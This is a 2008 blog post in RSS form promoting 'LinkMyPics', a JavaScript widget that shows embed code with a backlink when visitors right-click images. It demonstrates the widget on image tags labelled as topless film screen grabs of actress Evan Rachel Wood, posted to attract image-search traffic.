<p><strong>LinkMyPics</strong> is a new widget I wrote, which is a Hotlink Advantage Maximizer. There are other websites that will give you instructions on how to turn images or hotlinking into links that work on the same principle as LinkMyPics, but those implementations usually turn out to be buggy, too much work to implement, or the solution can often break layouts. If you want to see it in action, right click on any of the images in this post as if you were going to either save it locally or grab the properties so you could hotlink it in your own website. You are then shown a box with instructions on how to use the image on your own site, using either HTML or BBCODE, and the code shown includes a link back to the page where the image was originally seen. Yes, people can (and will) remove the link portion&#8230; be many will not bother modifying it and will just copy and paste what they are given. Pretty neat, huh? You can <a href="http://www.funscripts.net/javascript-widgets/" target="_blank">download LinkMyPics here</a>, and instructions are provided on that site. I have also implemented the code on the topless Evan Rachel Wood pics in this post, so feel free to test on those as well.</p>
<p>Speaking of&#8230;</p>
<p>Since I don&#8217;t believe in fraudulently ranking for a given phrase, here are the images I mentioned in the title (those who need to can close their eyes now):</p>
<p><img onmouseup="hl2l(event);" src="/images/evan-rachel-wood-topless-00.jpg" alt="Evan Rachel naked on bed" /></p>
<p><img onmouseup="hl2l(event);" src="/images/evan-rachel-wood-topless-04_sm.jpg" alt="Evan Rachel Wood topless" /></p>
<p><img onmouseup="hl2l(event);" src="/images/evan-rachel-wood-topless-05_sm.jpg" alt="topless Evan Rachel Wood" /></p>
<p>I know, pretty tame. But what did you expect? I <em>said</em> it was PG13 right at the beginning. The reason these particular screen grabs interested me is that when I was watching the movie they came from (<a href="http://www.imdb.com/title/tt0445922/" target="_blank">Across The Universe</a>, a musical released last October), and I saw that scene, I suddenly realized that I had never seen any of the normal buzz that usually surrounds when a young actress appears nude or semi-nude in a movie for the first time (which I believe this is for her). So, I searched on Google Images, and as I said, <em>no</em> valid results showed up (for me anyways, searches can vary by location) in the first 5 pages I checked, which I found very odd. My assumption is that the population of geeks who own websites who know anything about optimizing for images in search who were <em>also</em> likely to be the type of people who would actually <em>post</em> topless pics, when intersected with the type of people who would admit to <em>watching</em> musicals (which Across The Universe happened to be), was so small that none of the images had made it into the mainstream yet. So, for all those who happen to come to this post looking for just that (assuming of course that I do actually wind up ranking for that phrase), there ya go. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2008/04/25/introducing-puzzcaptcha-advanced-comment-form-protection-linkmypics-the-hotlink-advantage-maximizer-oh-and-evan-rachel-wood-topless-nfsw/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

